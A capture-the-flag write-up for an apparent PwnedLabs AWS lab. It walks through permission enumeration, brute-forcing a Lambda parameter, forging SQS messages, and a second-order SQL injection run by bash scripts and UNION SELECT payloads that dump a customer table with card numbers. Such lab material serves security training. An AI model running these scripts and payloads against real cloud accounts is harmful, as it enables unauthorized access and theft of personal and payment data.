SQS and LAMBDA SQLi

PWNEDLABS.IO

AWS Enumerator

```
$~/go/bin/aws-enumerator cred
```

First and foremost, we start with setting our AWS credentials in `aws-enumerator`. After that, we move on to enumerating all of the services we have permissions on:

`$~/go/bin/aws-enumerator enum -services all

From the output, we can see we have permissions over Lambda, a serverless computing service and SQS, a message queuing services for decoupling applications, systems and microservices. We also have privileges on STS, but all users by default have the ability to use sts:AssumeRole and sts:GetCallerIdentity, given they have the necessary credentials, so this can be ignored.

```
$~/go/bin/aws-enumerator dump -services lambda,sqs
```

```
------------------------------------ LAMBDA -----------------------------------
-
```

```
ListFunctions
```

```
------------------------------------- SQS -------------------------------------
```

```
ListQueues
```

AWS Lambda

We start with Lambda and list the functions available to us with `aws lambda list-functions`:

```
$aws lambda list-functions --query 'Functions[*].FunctionName' --output table
```

Now we see the function name `huge-logistics-stock`. If we try to get the source code of the function with `aws lambda get-function --function-name huge-logistics-stock` we see that we don't have permission.

We will try to invoke the function with:

```
$aws lambda invoke --function-name huge-logistics-stock output
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
```

If we read the `output` file, we see:

```
$cat output
{"statusCode": 200, "body": "\"Invalid event parameter!\""}
```

Which means we are lacking some sort of parameter in our request. We will add a payload to our `invoke` request:

```
$aws lambda invoke --function-name huge-logistics-stock --payload
'{"test":"test"}' --cli-binary-format raw-in-base64-out output
```

However, on reading the `output` file, we get the same result. This means `"test:test"` is an invalid parameter combination. We will make a simple bash script that iterates through a wordlist until it finds one that works:

```
#!/bin/bash

i=0

for word in $(cat burp-parameter-names.txt); do
cmd=(aws lambda invoke --function-name huge-logistics-stock --payload "
{\"word\":\"test\"}" --cli-binary-format raw-in-base64-out output);
((i=i+1))
echo "Try $i: $word"
if grep -q "Invalid event parameter" output;
then
rm output;
else
cat output; echo -e "\nFound parameter: $word" && break;
fi;
done
```

Write this to a file using `vim`, give execution privileges with `chmod +x` and run it with `./SCRIPT.sh`. After a minute we get some results:

```
....snip....
Try 97: DELIMITER
Try 98: DESC
{"statusCode": 500, "error": "Invalid trackingID, refer to queue"}
Found parameter: DESC
```

Now we see that, while the parameter DESC works, we still need a `trackingID` to complete the invoke request. We will go to SQS now in search of a `trackingID`.

AWS SQS

```
$aws sqs list-queues
{
"QueueUrls":
"https://sqs.eu-north-1.amazonaws.com/254859366442/huge-analytics"
]
}
```

Here we see a queue. We can receive the message in the queue:

```
aws sqs receive-message --queue-url https://eu-north-
1.queue.amazonaws.com/254859366442/huge-analytics --message-attribute-names All
```

Reading the message, we see a `trackingID` attribute:

```
....snip....
},
"trackingID": {
"StringValue": "HLT7913",
"DataType": "String"
}
....snap....
```

You can run the command a few times to get different purveyors. It's irrelevant. Next, we will send a message to the queue making up our own, fake `trackingID`:

```
aws sqs send-message --queue-url https://eu-north-
1.queue.amazonaws.com/254859366442/huge-analytics --message-attributes '{
"Weight": { "StringValue": "1337", "DataType":"Number"}, "Client":
{"StringValue":"VELUS CORP.", "DataType": "String"}, "trackingID":
{"StringValue":"HLT1337", "DataType":"String"}}' --message-body "Testing"
```

It works!

```
{
"MD5OfMessageBody": "fa6a5a3224d7da66d9e0bdec25f62cf0",
"MD5OfMessageAttributes": "576cbd831c7b372774da20cc4711b373",
"MessageId": "70d5ba9b-d5fc-40ce-a9b1-16e29a40e35a"
}
```

We go back to the `aws lambda invoke` command:

```
$aws lambda invoke --function-name huge-logistics-stock --payload
'{"DESC":"HLT1337"}' --cli-binary-format raw-in-base64-out output
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
```

Then, we read the `output` file:

```
cat output
[{"trackingID": "HLT1356", "clientName": "VELUS CORP.", "packageWeight": 75, "delivered": 0}, {"trackingID": "HLT1378", "clientName": "VELUS CORP.", "packageWeight": 80, "delivered": 0}, {"trackingID": "HLT4080", "clientName": "VELUS CORP.", "packageWeight": 9525, "delivered": 0}]
```

Note that our trackingID doesn't match with the one we just created. This could be the function searching internally for the `trackingID` and returning related values. What if we make a fake client name?

```
aws sqs send-message --queue-url https://eu-north-1.queue.amazonaws.com/254859366442/huge-analytics --message-attributes '{ "Weight": { "StringValue": "1337", "DataType":"Number"}, "Client": {"StringValue":"idontexist", "DataType": "String"}, "trackingID": {"StringValue":"HLT1337", "DataType":"String"}}' --message-body "Testing"
```

Invoking the lambda function again and reading the `output`, we get an empty array `[]`. What if we add an extra `"` to a client name that does exist?

```
aws sqs send-message --queue-url https://eu-north-1.queue.amazonaws.com/254859366442/huge-analytics --message-attributes '{ "Weight": { "StringValue": "1337", "DataType":"Number"}, "Client": {"StringValue":"VELUS CORP.\"", "DataType": "String"}, "trackingID": {"StringValue":"HLT1337", "DataType":"String"}}' --message-body "Testing"
```

Here, we added a simple `"` to `"VELUS CORP.\"`. Internally, this will be read as `"VELUS CORP.\"` instead of `"VELUS CORP."`. If we invoke the lambda function again and read the output, this time we receive a message:

```
$cat output
"DB error"
```

This error message is an indication that it may be vulnerable to SQL Injection attacks.

Logic and Theory

From our various efforts, we can see how there are three systems at play. Lambda, which makes a call to SQS, then SQS to a database.

1. Someone or something sends data (called a payload) to the SQS service.
2. The data/message stays in the SQS queue temporarily as it awaits processing.
3. Lambda is triggered on a schedule or an external event and reads the SQS message for processing.
4. Part of the processing is having SQS interact with a database via SQL query.

Knowing this or assuming the process functions like this, an attacker can inject an SQL payload into the SQS payload. This is considered a `second order SQL injection` because you won't immediately see the output of your SQLi, it needs to first be triggered by another event. In this case, the `lambda invoke` will trigger the execution of our SQLi payload.

Going back and forth between commands takes a long time, so we can automate the process of the SQLi with a bash script:

```
#!/bin/bash
```

```
output=default
```

```
while [ -n "$output" ]; do
```

```
`output=""`

`aws sqs send-message --queue-url https://eu-north-
1.queue.amazonaws.com/254859366442/huge-analytics --message-attributes "{
\"Weight\": { \"StringValue\": \"1337\", \"DataType\":\"Number\"},
\"Client\": {\"StringValue\":\"VELUS CORP.\\\" $1\", \"DataType\":
\"String\"}, \"trackingID\": {\"StringValue\":\"HLT1337\",
\"DataType\":\"String\"}}" --message-body "Testing" | tee &> /dev/null`

`aws lambda invoke --cli-binary-format raw-in-base64-out --function-name
huge-logistics-stock --payload "{\"DESC\":\"HLT1337\"}" output &> /dev/null`
`output=$(cat output | grep "Invalid")`

`if [[ $output == "" ]]; then`
    `cat output`
    `echo ""`
`fi`
```

```
done
```

All we have to do it provide it with an SQLi prompt and run the exploit.

```
./sqli.sh "UNION SELECT null, null, null, @@version; -- -"
[{"trackingID": "HLT1356", "clientName": "VELUS CORP.", "packageWeight": 75,
"delivered": "0"}, {"trackingID": "HLT1378", "clientName": "VELUS CORP.",
"packageWeight": 80, "delivered": "0"}, {"trackingID": "HLT4080", "clientName":
"VELUS CORP.", "packageWeight": 9525, "delivered": "0"}, {"trackingID": null,
"clientName": null, "packageWeight": null, "delivered": "8.0.42"}]
```

The trick is to keep adding `null` to the prompt until it outputs information. Reviewing the information:

1. There are 4 columns in the DB. This is evidenced by 3 `null`s working in the SQLi.
2. The version of the DB is 8.0.42
3. The last column is the injectible column, again evidenced by three `null`s failing. The information we are looking for will come out in the `delivered:` section.

Now, instead of `@@version` we run the script again, extracting information. Pipe it through `sed` and `awk` a few times to clean it up:

```
$./sqli.sh "UNION SELECT null, null, null, table_name FROM
INFORMATION_SCHEMA.TABLES WHERE table_schema NOT IN ('information_schema',
'mysql')-- -" | sed 's/delivered/\n/g' | awk -F"\"" '{ print 3 }' | grep -v
"^:" | grep -v '^0' | sed '/^/d'
global_status
global_variables
persisted_variables
processlist
session_account_connect_attrs
session_status
session_variables
variables_info
TrackingData
customerData
```

Now, since `customerData` seems the most dangerous thing to have access to, we will get the table names from there:

```
$./sqli.sh "UNION SELECT null, null, null, column_name FROM
INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'customerData'-- -"
address
cardUsed
clientName
```

And lastly, we obviously want all of that information, so we will use `concat` to extract all of it at once:

```
$./sqli.sh "UNION SELECT null, null, null,
CONCAT(clientName,':',address,':',cardUsed) FROM customerData-- -"
Adidas:56 Claremont Court:5133110655169130
EY:3 Farmco Parkway:4913444258211042
Google Inc.:559 Ohio Lane:3532085972424818
VELUS CORP.:e46fbfe64cf7e50be097005f2de8b227:3558615975963377
```